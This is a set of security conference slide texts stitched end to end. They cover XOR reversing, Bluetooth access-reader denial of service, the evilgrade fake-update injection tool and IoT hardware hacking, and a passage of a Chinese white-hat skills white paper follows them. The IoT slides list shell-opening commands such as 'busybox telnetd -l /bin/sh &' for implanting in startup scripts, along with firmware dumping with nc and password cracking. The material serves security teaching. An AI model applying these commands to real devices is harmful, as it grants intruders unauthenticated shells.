7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 60 Histogram of DCT Coefficients • The non-symmetrical histogram has the hidden data 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 61 +DCT -DCT     ZERO +DCT -DCT     ZERO Reversing XOR • XOR is used for encryption because it is fast simple 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 62 Reversing XOR - Observations • Something XOR’d with itself is zero. • Whenever you find a zero in the target file, the original character is equal to the XOR key used. • Something XOR’d with zero will be itself. • Knowing that a file type has a large number of zeros, particularly if the location is known, can yield the key. • A letter XOR’d with the space character (0x20) will change the case • In an English text file, the space is typically the most common character • XORing with a single character will not affect the entropy 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 63 Reversing XOR • Looks like text, but shifted … • Image shows uniform file characteristics • Space is most common text character • Textual histogram reveals actual counts 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 64 Reversing XOR - 6.67321, • Histogram does not match any previous file types (H = 7.28069) • Image of file looks like an executable • Entropy suggests compression, or … weak encryption • First 2 bytes in exe file are “MZ” • Zero is prevalent 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 65 Reversing XOR • In target file, first two bytes are 0x09, 0x14 • 0x09 XOR 0x4d ----> 0x44 “D” • 0x14 XOR 0x5a ----> 0x4e “N” • Looking at textual histogram, “C”, “A”, “N”, “D” are much more prevalent than others • Something XOR’d with zero is itself • With some sleuthing, assumptions, analysis tools, and a bit of luck, you’ve got it! 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 66 TOOL: Statistical Analyzer • This combines the file searching of Footprint and the file type identification of Write Bitmap Histogram • It searches an entire directory structure and attempts to identify a file’s type • Uses histograms and a multitude of statistics • In its current prototype state, it does not use magic numbers as a clue • It highlights any abnormalities • The details are, in and of themselves, an entire 50+ min presentation 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 67 Wrap-Up • Hope you have learned something useful • Enjoy experimenting and using the tools • Feel free to contact me by email if you have any other questions • [email protected] 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 68 Links to Relevant Harris Blogs • http://crucialsecurityblog.harris.com/2011/07/06/decoding-data- exfiltration-%E2%80%93-reversing-xor-encryption/ • http://crucialsecurityblog.harris.com/2012/04/16/file-type- identification-and-its-application-for-reversing-xor-encryption/ 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 69 Link to Irrelevant Harris Blogs • I wrote this one too and it has very little to do with this presentation, but I’ll lay odds most of you will like it! • http://crucialsecurityblog.harris.com/2012/04/09/on-the-difficulty- of-autonomous-pornography-detection/ 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 70 References • Conti, Greg; Grizzard, Julian; Ahamad, Mustaque; Owen, Henry; Visual Exploration of Malicious Network Objects Using Semantic Zoom, Interactive Encoding and Dynamic Queries. Georgia Institute of Technology 7/9/2013 Fast Forensics Using Simple Statistics & Cool Tools 71 QUESTIONS ??? COMMENTS? COMPLAINTS?
pdf
What is the PACS-Man? Tools of The Trade How do we improve the experience in the field? Automation! Demo Time Contribute to Odo! (it’s a framework) • Potential Credential Producers • BLEKey • ESP RFID Tool • Wiegotcha • Telephoto Lens + OCR • Potential Credential Consumers • Chameleon Mini • Libnfc • Emutag • Support for Alternate Displays / Hats • New Feedback and Control Mechanisms • Smart Watch Support • Android / iOS Apps • Haptic Feedback Vests Evolution of PACS Mobile Credentials Are the New Black • Mobile Credentials are the New Thing • NFC • Not Supported by All Smartphones • Until Recently Heavily Locked Down on iOS • BLE • Nearly Ubiquitous Smartphone Support • Protocol Was Not Designed for This Purpose What Else Does This Add? • Diagnostic Capability • Firmware Upgrades • Reconfiguration Hmm… Bluetooth… You might be wondering what’s with all readers? Demo Time What else has an nRF52? Demo Time So what does it all mean? Practical Impacts • Selective or Area-Wide Denial of Service • Disable Access to Key Ingress/Egress Points • Turnstiles • Security Vestibules • Equipment Rooms • Annoy the Crap Out of People by Beeping All Readers • Engage DoS Post-Entry to Evade Security • Ghost Mode • Slip a Device Into Target User’s Bag to DoS 2 Closest Readers • User Becomes “Invisible” to Readers Mitigations • Vendor Response • Working on Upcoming Firmware Update • Currently Requires Use of Mobile App at Each Reader • Future Updates via OSDP Functions (For Supported HW) • Short-Term Mitigation • Educate Security Staff and Response Teams • Some Customers May Opt to Disable BLE Functionality • Affected Customers Should Reach Out to Their Account Manager for Guidance • Customers Not Using Mobile Credentials May Inquire about ODSP-Only Backpacks
pdf
http://www.infobytesec.com Francisco Amato / Federico Kirschbaum evilgrade, "You STILL have pending upgrades!“ Defcon 18 2010 http://www.infobytesec.com Introduction Topics - Client side explotation - Update process - Poor implementation of update processes - Attack vectors - evilgrade framework presentation http://www.infobytesec.com Introduction Client side explotation Searching the Weakest Link Bypassing the fortress walls This technique allows for example transform a user terminal in a “proxy” to access the internal network of a company http://www.infobytesec.com General application’s update process How does it works? • Update process are either manual or automatic. • The process requests a special file in the master server for example update.application.com/info.xml • The file has the internal information of the available updates. •It’s installed automatic or ask if you like to install the new update. http://www.infobytesec.com What’s the problem? http://www.infobytesec.com Is there any problem? Trust • A lot of application don’t verify the updates contents. • They blindly trust without verification of the master update server. http://www.infobytesec.com evilgrade Tool Information evilgrade is modular framework that allow us to take advantage of poor update implementations by injecting fake updates. • It’s a opensource project • It’s developed in Perl http://www.infobytesec.com evilgrade How does it work? It works with modules, each module implements the structure needed to emulate a false update of specific application. evilgrade needs the manipulation of the victims’s dns traffic http://www.infobytesec.com evilgrade Normal update process 1. App1 start the update process 2. Consult to the dns server host update.app1.com 3. DNS server replies 200.1.1.1 4. App gets the file lastupdate.xml from update.app1.com 5. App analyzes the update file and detect a new update 6. App1 downloads and execute the update http:// update.app1.com/update.exe http://www.infobytesec.com evilgrade Attack example 1. App1 starts the update process 2. Consult to the dns server host update.app1.com 3. The attacker modifies the DNS traffic and returns other ip address, controlled by the attacker. 4. App1 get the file controlled by the attacker http:// update.app1.com/lastupdate.xml 5. App1 processes the file and detect a new update 6. App1 downloads and execute the backdoor http://update.app1.com/backdoor.exe http://www.infobytesec.com Attack vectors? Possibilities: Internal scenery: - Internal DNS access. - ARP spoofing. -DNS Cache Poisoning. -DHCP spoofing External scenery: - Internal DNS access. -DNS Cache Poisoning. -Fake AP wireless http://www.infobytesec.com evilgrade No, it’s not.  The idea of the framework is the centralization and explotation of different update implementations all together in one tool. Is this new? http://www.infobytesec.com evilgrade What are the supported OS? The framework is multiplatform, it only depends of having the rigth payload for the platform to exploit. http://www.infobytesec.com evilgrade What can I do with it? This attack vector allows the injection of fake updates to remotely access a target system. http://www.infobytesec.com evilgrade Console: It works similar to a IOS console: -show <object>: Used to show different information. -conf <object>: Enter to the configure mode. -set <option> “value”: Configures different options. -start: Services starts. -stop: Services stops. -status: Services status. http://www.infobytesec.com evilgrade Modules: . http://www.infobytesec.com evilgrade Request: Each object has: <req> - requeried URL (regex friendly). <type> : [ file | string | agent | install ] <method> : [GET|POST|TEST|””] <bin> : [1|””] If is it a binary file. <string> : String request’s response <parse> : [1|””] If this file or string need be parsed <file> : The path of the request’s response http://www.infobytesec.com evilgrade Implemented modules: - Java plugin - Winzip - Winamp - OpenOffices - iTunes - Quicktime - Safari - DAP (download accelerator) - Notepad++ - Mirc And more…. http://www.infobytesec.com Lab Time for the demo. Cool! http://www.infobytesec.com evilgrade A more secure approach - Update server running under https, certificate control. - Digital signatures, verify the update with a public key http://www.infobytesec.com and you know.. Next time you do an update! http://www.infobytesec.com don’t believe in everything you see http://www.infobytesec.com References More Info • http://www.secureworks.com/research/articles/dns-cache- poisoning/#update • http://www.trusteer.com/docs/bind9dns.html • http://www.trusteer.com/docs/bind8dns.html • http://en.wikipedia.org/wiki/ARP_spoofing • http://www.trusteer.com/docs/microsoftdns.html •http://www.doxpara.com/ http://www.infobytesec.com Questions! ??? http://www.infobytesec.com Thanks! Contact Francisco Amato – [email protected] Federico Kirschbaum – [email protected] http://www.infobytesec.com http://blog.infobytesec.com http://www.ekoparty.org
pdf
New Techniques for Discovering Smart Device Vulnerabilities 小灰灰 / Xiaohuihui Baidu Security Lab Senior Security Researcher 30-May2019 2 Who am I Senior Security Researcher at Baidu Security Lab Research areas: IoT security / AI security / autopilot vehicle security Experienced hardware cracker Previously Responsible For: • BSRC, incident response, 0-day analysis • Baidu product security assessment • Baidu security monitoring system construction Traditional IoT Device Cracking Router? Firmware download Binwalk unpacking Finding problematic bin(why?) IDA analysis, WEB script file analysis Vulnerability verification (real machine or QEMU test) Most of them seem to be Vulnerability Analysis Now ? We have a lot more different IoT devices, not just routers Large manufacturers won’t let you easily crack the devices: • Firmware is not available for download • Telnet, serial port, ADB are all closed • There’s no way to get started What do we do? ? ? The Structures Are Similar OS and Hardware Full Android and Linux versions, ARMv5/6/7/x86 processors, EMMC/EMCP/NAND memory Openwrt Linux with microkernel, ARM, MIPS processor, NAND/SPI Flash memory RTOS Linux that has real-time operating systems with microkernel, ESP Lexin, Arduino system-on-chip, AVR, STM32 series, SPI Flash memory Application Scenarios Smart Speakers, Smart Watches, Vending Machines, TV boxes, Smart TVs, Smart Billboards, Vehicle System Router, Mini Smart Speaker, Smart Camera Smart Lock, Smart Rice Coker, Smart Socket, Smart Lamp, Smart Bracelet Features More features, more memory space, great platform for developing apps, most of them carry a large screen Simple but have advanced features, large screen is not necessary/only small screen is needed Function is simple but can be controlled via network, analogue electronics are not feasible. Step 0: Teardown! Be clear about what to do and where to go • What are the chip solutions? What we can do? • What to do when we get stuck? Look for chip model information and datasheet Pay attention to: • Storage type and specifications • SPI Flash 8/16/Wide&Narrow • EMMC/EMCP 100/153/162/169/186/221/254 • NandFlash TSOP32/40/48 • TTL and JTAG interface (how to find) • Communications module (Ethernet, Bluetooth, wifi, 234G) 图片来自:https://www.crowdsupply.com/teardown/portland-2018 Online Teardown -- A good Way to Find Targets Search for xxx teardown Forum (teardown forum) Ifixit.com • Contains hardware devices from well-known manufacturers • Clear picture, label Fccid.io • All devices with wireless capabilities and released internationally • You can find many different devices • Tips: Search site:fccid.io internal photos xxx Tesla Motors, Car Key Fob - Found on fccid.io Kindle Fire’s Logic Board – found on ifixit Step 1 Premise:Control and Acquire as You Like Control & Acquire • Acquire file system • Getshell (easy for analysis and viewing network/files/processes) • Acquire and control network data Eventually we can use the acquired information to conduct a comprehensive analysis and find valid vulnerabilities. Tips: it is not necessary to follow a specific order here, these steps can be mixed • For example, you can get the firmware directly after running getshell, or dump the firmware, make modifications, and then run getshell. • For example, to acquire interactive data, you can have connection upgrades to get the firmware download address directly. Preparation - Acquire Firmware Purpose: • Understand the OS and file system structure, focus on the key directory (/etc /home /usr/bin ..., if it is Android, /system/priv-app) • Analyze the startup script (/etc/inittab /etc/init.d), loaded binary and configuration file • Analyze web directory files (CGI, PHP, Lua.....) • Easy for restoring the old system version (e.g. activate telnet), and easy for analysis • Make reverse engineering easy as it’s possible that the firmware is a new version of APK • Chroot to the corresponding processor’s QEMU for analyzing the binary & web Preparation - Acquire Firmware Methods: • Download from the official website • Self-upgrade, monitor the packets (if you query the version, you need to intercept the modified older version. Special channel.) • Reverse engineer the App update and the update process (ftp access) • Get help from forum and friends (industry maintenance forum) • Contact customer service (help device recovery) • Get the shell (telnet, ssh, adb...) and dump firmware (dd, tar, nc out) • Enter BootLoader to read memory • Special access to master console (such as the MTK, NXP series - you can read/write file system via data line port) But, sometimes none of these works. Physical Dump When it’s impossible to acquire firmware through normal channels • Large manufacture's firmware is encrypted and cannot be decrypted by using binwalk • There is no firmware upgrade process so the firmware remains unchanged • The firmware is upgraded via GPRS and cannot be intervened (actually we can intervene ☺) • TTL off, telnet off, unable to stop BootLoader and enter Then tear it apart, physical dump • Different read/write methods for different models • Steps: • Choose a device and the read/write method (online or offline) • Hack the firmware Physical Dump-SPI Flash SPI Flash (for simple devices/routing devices) • Serial read/write device, common capacity is 4/8/16MB, 8-pin SPI interface • Structure: • Full operating system: Bootloader+kernel+file system, mostly compressed • Only for storing data, configuration files, etc. • Read and write methods: • Arduino+EEPROM library • Raspberry SPI interface + flashrom • Programmer can R/W faster (RT809H) • Soldering is not required (hook and clip is enough). However, sometimes it doesn't work (when the CPU is powered), so it’s better to take it out • Can directly modify the firmware and run getshell. Need to pay attention to the file structure. • File system, offset: acquire start information and binwalk • Soldering->Unpack->Modify->Repackage->dd offset, merge->brush write back->Soldering Physical Dump-SPI Flash- Acquire the File System Structure Subtitle (if needed) Obtained through console information output Obtained by shell command Obtained through binwalk Physical Dump-NandFlash NandFlash (for more complex devices such as advanced routing, smart speakers) • 16MB-2GB capacity, TSOP48/BGA package, read and write by block • People new to drag soldering often run into issues. It is recommended to use a heat gun for de-soldering (be careful about the surrounding components) • Structure: most of the full Linux/Android system do not require compression and decompression • Read and write methods: • 17+ valid pins require programmer for read/write (e.g. RT809H) • Bad block management exists but is not very advanced. Write is more complicated here. Warning: usually binwalk cannot decrypt the acquired bin firmware. Modifying binwalk or removing ECC check digit data is needed. Handling this type of device is more challenging than SPI Flash and EMMC. Also the file system format is always different. Physical Dump-EMMC/EMCP The relationship between EMMC and Nand Flash EMMC=NAND Flash+Flash Control Chip+Standard Interface Package Nand Flash EMMC Physical Dump-EMMC/EMCP EMMC/EMCP (for complex devices such as smart TVs, mobile phones) Similar to an SD card All in BGA package, specification 100/153/162/169/186/221 (account for 95%) Offline read and write: • Use hot air gun for arc blow (be careful about the surrounding components), special reader + programmer OR read directly from the chip • The tinning method could be challenging so it requires more practice. Online read and write (soldering is not needed): • Need to find or understand key solder joints, which are tiny/. Soldering can be challenging here (identify a good method?) • Jump wire DAT0, CMD, CLK, GND, (VCC, VCCQ) to the SD card reader. De-soldering is not necessary but will need to pay attention not to to short the crystal oscillator The acquired firmware can be recognized by the file system and is easy for read and write. Physical Dump – Video of the Tinning Process Offline Read and Write Protect Chip Use the programmer Use a dedicated reader stand Direct soldering to the SD card Jump wire on the memory chip to connect the SD card reader Online Read and Write Online read and write of a car system Preparation-Getshell Purpose: • tar extract files (firmware) after running Getshell and analyze bin & web script • Easy to review the data, including ports, processes, networks, and files • Build a test environment and compile test tools • Convenient online debugging (sometimes it’s hard to run QEMU offline due to the lib library and hardware limitations) In short, the ideal environment for cracking is to enable getshell • If you are able to remove getshell, it means you have cracked the device Preparation-Getshell Method: Scan the port for telnet, ssh, adb services, etc. • Use fast scan, masscan, nmap -sS • Password & hash can be found in the firmware, offline cracking (how to speed up the crack?) lsusb, check whether the usb adb is enabled Look for web upload vulnerabilities, command injection vulnerabilities, etc. Online or offline memory modificaiton • For example, add busybox telnetd -l /bin/sh & to init startup items • Easy to modify for EMMC memory structure Look for TTL pins on the board • Obviously labeled • Use CPU datasheet Use hashcat to crack ssh, telnet password Quick scan with nmap Quick scan with masscan Preparation-Getshell Method: Modify the Bootloader startup parameters • Force the uboot configuration mode and modify the kernel parameters. For example, add <space> 1 to enter single-user mode. • Modify kernel parameters using the JTAG interface Preparation-Getshell Method: Modify kernel parameters using JTAG to get shell • The device needs a JTAG port, and a corresponding JTAG device and CPU configuration file. • OpenOCD is a good software option, which can support a variety of CPUs. As to hardware, jlink is a good option. • Modify startup parameters • Find the location of the boot parameters in the firmware • Add a breakpoint • Modify the startup parameters, such as adding <space> 1 to enter single-user mode. • Boot the kernel, the console serial port gets the shell Preparation - Get Communication Data Purpose: • Understand the workflow logic (to support analysis, such as looking for encrypted code based on http request) • Get cookie, token and other authentication information, and sensitive private data • Get the server interface to infiltrate the server (authorization penetration) • Intercept and modify packet or construct a replay based on the known packet • Finally, issue legal instructions, construct a poc, get critical keys, etc. Usually uses Wifi/234G/Bluetooth/Low Power Bluetooth/Infrared/Wired/Other Band Radio Preparation - Get Communication Data Method: IP data (TCP, UDP, HTTP, MQTT, etc.) WiFi: • Real-time wireshark: • Turn on the wireless hotspot and connect. Wireshark will sniff this network card directly. • Android adb forward + tcpdump + pipe to PC wireshark • Capture packets on the routing device • If it is an Android APP, run directly in the native emulator, sniff this network card • If it is HTTP, HTTPS, set proxy • Cross compile tcpdump (arm, mips), -A option or –w • If it is a remote device, try arp middleman • If it is a remote device and nd need subtle action: try WiFi real-time decryption (strong network card support, such as RTL8812U)) Set WPA/WPA2 Real-Time Decryption If Commutation Data is Encrypted SSL/TLS encryption • HTTPS agent • If you verify the certificate, import the burp root certificate • Android: • Xposed bypass forces certificate verification bypass • Hook (okhttp) Symmetric encryption such as AES\DES, using TCP transmission • Reverse analysis APP, binary, get the key • Android: Hook (Crypto) Hook the commonly used http operation library okhttp Hook the java encryption and decryption library crypto About Hook (for Android) Framework • Xposed: • Hook is supported at Java level only • Good for batch deployment • CydiaSubstrate: • Support java/native • Not open source and there’s no update to support new Android system • Frida: • Good for cracking • Support java/native, support multi platforms, and can adapt to the latest system Tools Integrated http, encryption and decryption, SQL query, file operation, IPC, and custom hook function • Xposed based: • Inspeckage • https://github.com/ac-pm/Inspeckage • Frida based: • appmon • https://github.com/dpnishant/appmon What to Hook? Sensitive operation hook • Symmetric encryption key, plaintext ciphertext • Sqlite query (determine whether there is injection and help understand the logic) • HTTP, HTTPS request content • Hash call status • Other (webView, serialization, file system operations, SharedPreference, IPC, etc.) Target function custom hook • Get the return value • Modify the return value • How to determine the class, method(trace) of a hook Subtitle (if needed) Use Inspeckage Hook http request Customize hooks with Inspeckage Subtitle (if needed) Encrypted with Inspeckage hook AES Get Communication Data - Other Channels 234G: • Devices that require remote communication, such as vending, shared bicycle locks, etc. • Developers often think that this channel is very secure and rarely take hardening into consideration. • Through the fake base station GPRS hijacking, the network traffic connected to the base station can be completely controlled. • Remote access triggering vulnerability can also be performed according to carrier network interoperability issues Bluetooth: • At this stage, mainly based on low-power Bluetooth, such as sports bracelets, smart thermometers, Bluetooth unlocking, etc. • Developers generally think that this channel is very secure, and there are few hard-to-reinforce reinforced, and there are many key leaks. • Traditional Bluetooth analysis can only track broadcast packets, and cottage devices can track frequency hopping. • Mobile phone debugging mode to enable Bluetooth log, simple and stable Traffic Access, Sniffing, MITM for 234G Devices • Fake base stations can be a risk for 2G networks as the mobile phone is unable to authenticate the base stations • Build a GSM base station system (tested legally) • Hardware: Bladerf (higher accuracy in comparison with other SDR devices) • Software: YateBTS (graphical interface / easy to install) • How to auto connect a smart device to a fake base station • Same thought process as sending text message to a cellphone from fake base station: increase cell reselection parameters C1, C2 • Modify the YateBTS source code • For details, please refer to my Defcon China talk • Attack: Get traffic, MiTM, access port trigger.... • Other simple methods: • The intranet of carrier is interconnected (10 or 172 network segments). Simply purchase two sim cards to trigger port-based vulnerabilities. Step 2 - Analysis Combine existing files, web requests, shells • Use Netstat –tunlp to monitor and analyze the corresponding process • Command injection, such as the contents of fopen() can be controlled • Dangerous functions may cause overflows, such as strcpy() • If shell is not an option, use port scan or stateless scanning • If web is available: • Determine configuration files and web source files • Try web page vulnerability mining (php, cgi, lua scripts, etc.) • Locate critical code locations (Reverse compilation, keyword, trace) based on network access to obtain the encryption logic and interface parameter format Finally get key data, or issue instructions Example: Core Logic Problem of A Vending Machine The FTP upgrade server password is leaked in the Bin file. Payment service not verified, resulting in 0 CNY payment Can control other vending machines to update firmware arbitrarily Information Disclosure and Configuration Modification for Two Smart Watches Subtitle (if needed) Key was disclosed during the cloud login process Configuration was modified by MiTM during interaction in the cloud Information Leakage and Decryption in A Lock for Shared Bicycle Subtitle (if needed) Encrypted cloud transmission Analyze firmware, get keys and upgrade agreements FTP Server Protocol Command Injection in a Communications Module Some Essential Skills and Tips • Soldering skills • Soldering, de-soldering, drag soldering, tinning, board washing, non-welding & de-soldering • Use hot air gun for de-soldering, ball planting tin (low temperature tin paste) • Jump Wire • Buy genuine white soldering iron with adjustable temperature, which takes 8 seconds to heat up without aging • APK decompile, hook, dynamic debugging, Java code reading • Web attack and defense and source code auditing capabilities • Ability to code Python/Java • Simple binary reverse analysis • TCP, HTTP packet analysis by using Wireshark • Familiar with cross-platform cross compilation Some Essential Skills and Tips • Common tools: • Prepare gdb, tcpdmp, telnetd, nmap, masscan... • Busybox in multiple platforms • Common commands: • busybox netstat -tunlp • busybox telnetd -l /bin/sh & • tcpdump -i xxx not tcp port xxxx -A • nmap -sS -PN -T5 Q&A
pdf
1 中国实战化白帽人才能力 白皮书 2021.1 补天漏洞响应平台 奇安信安服团队 奇安信行业安全研究中心 i 专家点评 红蓝对抗和实战化渗透,近年来受到越来越多企业的重视,也成为企业安全体系建设不可 或缺的重要环节。尤其是每年的大型网络安全实战攻防演习更催生了行业对白帽子群体的 关注和需求,也对白帽子能力提出了更高的要求。补天的实战化白帽能力白皮书是一个很 好的行业尝试,可以作为白帽子群体能力发展的一个很好的参考,也可以为初学者答疑解 惑,指明方向。 Tencent Blade Team 技术负责人 张博(cradmin) 补天平台作为国内最大的漏洞平台,拥有超过 7.4 万名白帽子,每年发放超过数千万漏洞 奖金,收获数十万漏洞信息,基于这些数据和实践,补天平台对白帽子的等级、能力模型 进行整理并发布本报告,报告中包含了不同等级白帽子所需要具备的能力、以及成长路径 规划,对于即将成为白帽子或者希望可以成为更有实战化能力的白帽子来说非常具有参考 价值。 字节跳动安全中心负责人 林伟 随着高级持续性威胁的增长,实战攻防技术的发展,传统的基于 OWASP TOP 10 以及 PTES 的渗透测试已经不再能满足各企事业单位对于网络防护能力、检测能力和响应能力的评估 需求。因此网络安全检测应该与时俱进,将实战化的网络安全评估能力纳入到范畴当中, 很欣喜能够看到补天作为国内影响力极高的漏洞响应平台能够在此做深入的思考和尝试, 也将白帽子带到一个更高的实战能力水平上来。 京东安全攻防对抗组负责人 叶猛 这几年安全行业越来越成熟化,法律体系也在不断的完善,过了行业发展的野蛮期实战的 机会变少了,实战性的人才也就跟着少了,大部分的白帽子都是通过“授权测试”和“打 靶场”的方式获得有限的技术成长,再加上自动化工具越来越精细,白帽子变得“越来越 懒”的同时也越来越迷茫,补天这一次从行业里开了一个好头,给更多想成为真正实战性 人才的白帽子们,构建了一个更系统化的学习成长轨迹。 网络尖刀团队创始人 曲子龙 补天作为国内当下聚集白帽子最多的平台,对如此庞大的用户人群进行数据分析并制定相 关标准是极具说服力的。该白皮书涵盖了白帽子年龄、学历、工作与否和年限,以及实战 化能力的分级,因此对白帽级别的划分以及企业所需人才的分析便显得更具分量。真正是 该行业下的企业、学习者以及感兴趣人群值得一看的内容。 ChaMd5 安全团队创始人 M ii 主要观点  白皮书结合补天漏洞响应平台白帽培养实践经验及奇安信集团安服团队蓝队攻防 实战经验,首次提出了实战化白帽人才能力的基本概念,并系统性地给出了实战化 白帽人才能力图谱。图谱为实战化白帽人才的系统性培养,以及白帽人才的自主学 习,提供了重要的科学参考依据。  实战化白帽人才能力,是指在政企机构实际运行的业务系统、生产系统上进行的实 战攻防演习过程中,作为攻击方的白帽子所需要具备各种攻防能力的集合。与传统 的挖洞型白帽人才能力要求不同,实战化能力要求白帽子具备在真实的业务系统上, 综合利用各种技术和非技术手段,进行动态实战攻防的能力。  白皮书将实战化白帽人才能力分为 3 个级别、14 大类、85 项具体技能。其中,基 础能力 2 类 20 项、进阶能力 4 类 23 项、高阶能力 8 类 42 项。  补天漏洞响应平台针对具有实战攻防演习经验的 645 位高级白帽子的调研显示: 目前国内白帽子人群所掌握的实战化攻防能力,仍主要集中在基础能力方面;而具 备高阶能力的白帽人才则十分稀缺,特别是不同平台程序的分析能力、在系统层漏 洞的挖掘与利用,以及相应的 PoC 或 EXP 的编写等方面,相关人才更是凤毛麟角。 iii 摘 要  从行业分布来看,36.3%的白帽子来自于安全企业,34.9%的白帽子仍是学生,7.1% 的白帽子来自政府机构事业单位。  从年龄分布来看,近半数的白帽子年龄在 22 岁及以下;35.7%的白帽子年龄在 23- 27 岁。从学历来看,本科及以下学历超过 9 成。其中,本科学历占比 36.3%,本科 在读占比 21.9%,还有 24.5%的白帽子为大专学历。  从从业时间来看,进入安全行业 1-3 年的白帽子最多,占比 51.2%;其次为拥有 4- 6 年安全从业经验的白帽子,占比 21.2%。  本次调研显示,55.8%的白帽子目前仍然处于“无证上岗”的状态。  2020 年实战化白帽人才基础能力中,平均每个白帽子掌握 4 个 Web 漏洞利用方式; 会使用 6 个安全工具。  2020 年实战化白帽人才进阶能力中,平均每个白帽子掌握 3 个 Web 漏洞的挖掘能 力,能够使用 2 种编程语言对 Web 开发和编程,更擅长使用社工库与鱼叉邮件进行 社工钓鱼。  2020 年实战化白帽人才高阶能力较弱,系统层漏洞利用与防护、系统层漏洞挖掘 以及对不同系统编写 PoC 或 EXP 等高级利用能力掌握不够,相比之下,多数白帽子 身份隐藏与内网渗透能力掌握较好。约 74.0%的白帽子具有组队参加有关部门组织 的实战攻防演习活动的经验,19.4%的白帽子表示自己能够胜任团队协作中的任意 角色。 关键字:实战化、白帽子、攻防演习、能力图谱、漏洞挖掘、社工钓鱼、内网渗透 4 目 录 主要观点 ........................................................................................................................................................ II 摘 要 ....................................................................................................................................................... III 研究背景 ......................................................................................................................................................... 1 第一章 中国白帽人才基本情况 ............................................................................................................... 2 一、 行业分布 ....................................................................................................................................................... 2 二、 年龄与学历 .................................................................................................................................................. 2 三、 从业时长 ....................................................................................................................................................... 3 四、 技能证书 ....................................................................................................................................................... 4 第二章 实战化白帽人才能力需求........................................................................................................... 5 一、 实战化能力与传统能力的区别 ............................................................................................................. 5 二、 实战化能力的分级与分类依据 ............................................................................................................. 6 三、 实战化白帽人才能力需求图谱 ............................................................................................................. 6 第三章 中国白帽人才能力现状 ............................................................................................................... 9 一、 基础技能 ....................................................................................................................................................... 9 二、 进阶能力 .................................................................................................................................................... 10 三、 高阶能力 .................................................................................................................................................... 11 四、 总结 ............................................................................................................................................................. 13 附录 1 实战化白帽人才能力各项技能详解 ........................................................................................... 15 一、 基础能力 .................................................................................................................................................... 15 二、 进阶能力 .................................................................................................................................................... 18 三、 高阶能力 .................................................................................................................................................... 20 附录 2 补天漏洞响应平台 ........................................................................................................................ 29 附录 3 奇安信蓝队能力及攻防实践 ....................................................................................................... 30 合作伙伴 ...................................................................................................................................................... 31 1 研究背景 白帽子,在很多人心中的印象就是挖洞高手。但随着网络安全实践工作的持续深入发展, 白帽子已经成为了各项网络安全工作中不可或缺的关键要素。特别是近年来持续深入开展的 网络安全实战攻防演习工作,对作为蓝队核心的白帽子,提出了越来越高的实战化能力要求。 要求白帽子具备在实战对抗环境和实际业务环境中,实现有效的攻击的能力,并能够由此发 现目标机构存在的安全问题或安全隐患。 实战化,对白帽子能力的要求更高,也更全面。一方面,对于具备实战化运行能力的大 型政企机构来说,很多低级的安全漏洞早已修复,想要实现有效攻击,就必须具备发现某些 高级安全漏洞的能力;另一方面,单纯知道某个漏洞的存在也不等于能够实现有效的攻击, 白帽子还必须具备在实战化的业务环境下,实现漏洞有效利用的能力,这就要求白帽子具有 社工能力、协作能力、业务分析能力等多种安全能力。 从实际工作需要出发,我们发现,目前国内白帽子的实战化能力还很不全面,存在诸多 短板。绝大多数白帽子的能力集中于 Web 漏洞的挖掘与利用这样的初级或中级能力,而对于 系统层漏洞挖掘、CPU 指令集、编写 POC 或 EXP 等中高级能力,则存在明显的人才缺失。 为提升国内白帽子群体的整体能力水平,适应日益重要的攻防演习实战需求,补天漏洞 响应平台联合奇安信安服团队和奇安信行业安全研究中心,结合 1900 余个目标系统的攻防 实战经验,首次系统性地总结了“实战化白帽子能力需求图谱”,并据此针对补天平台选取 了 645 名白帽子进行了能力调研,形成了《中国实战化白帽人才能力白皮书》。在接受本次 调研的白帽子中,约 74.0%的白帽子参加过有关部门组织的实战攻防演习活动。 希望此项研究成果能够对安全行业的实战化白帽子人才发展及能力培养有所帮助。 2 第一章 中国白帽人才基本情况 在实战化白帽子能力调研过程中,课题组同时也对白帽子的一些基本状况进行了调研, 包括行业分布、年龄与学历、从业时间、以及技能证书等几个方面。 一、 行业分布 从行业分布来看,36.3%的白帽子来自于安全企业,34.9%的白帽子仍是学生,7.1%的白 帽子来自政府机构事业单位。可见,白帽子由于其所需技能及时间耗费,更多集中在专业对 口的安全企业从业者或精力充沛的学生党。 二、 年龄与学历 从年龄分布来看,近半数的白帽子年龄在22岁及以下;35.7%的白帽子年龄在23-27岁。 3 从学历来看,本科及以下学历超过 9 成。其中,本科学历占比 36.3%,本科在读占比 21.9%,还有 24.5%的白帽子为大专学历。 三、 从业时长 由于白帽子需要有一定安全基础,需要花费时间学习和锻炼才能成为真正的白帽子。从 从业时间来看,进入安全行业 1-3 年的白帽子最多,占比 51.2%;其次为拥有 4-6 年安全从 业经验的白帽子,占 21.2%,具体分布如下图所示。 4 四、 技能证书 技能证书可以在一定程度上体现网络安全工作者的技能水平,对求职和就业有很大的帮 助。因此,很多网络安全从业者都会考取 CISP、CISP-PTE、CISSP、OSCP Security+等专业 技能证书。不过,本次调研显示,55.8%的白帽子目前仍然处于“无证上岗”的状态。 5 第二章 实战化白帽人才能力需求 本章主要介绍实战化白帽人才能力的基本概念及其与传统白帽能力的区别,给出能力分 级和分类的依据,并最终给出本白皮书整理的完整能力图谱。 一、 实战化能力与传统能力的区别 实战化白帽人才能力,是指在政企机构实际运行的业务系统、生产系统上进行的实战攻 防演习过程中,作为攻击方的白帽子所需要具备各种攻防能力的集合。由于实战攻防演习是 对真实黑客攻防过程进行模拟和再现,因此也要求白帽子在攻击过程中所使用的战术手法能 够达到、甚至超过黑产组织或 APT 组织的攻击水平。与传统的挖洞型白帽人才能力要求不 同,实战化能力要求白帽子具备在真实的业务系统上,综合利用各种技术和非技术手段,进 行动态实战攻防的能力。 具体来说,主要有以下几个方面特点: 1) 针对业务系统,而非 IT 系统 传统的或一般的白帽子挖洞工作,主要都是针对各类 IT 信息系统本身或系统中的设备、 协议等,如各类 Web 系统、操作系统、PC 终端、IoT 设备、工控设备协议、区块链协议等等。 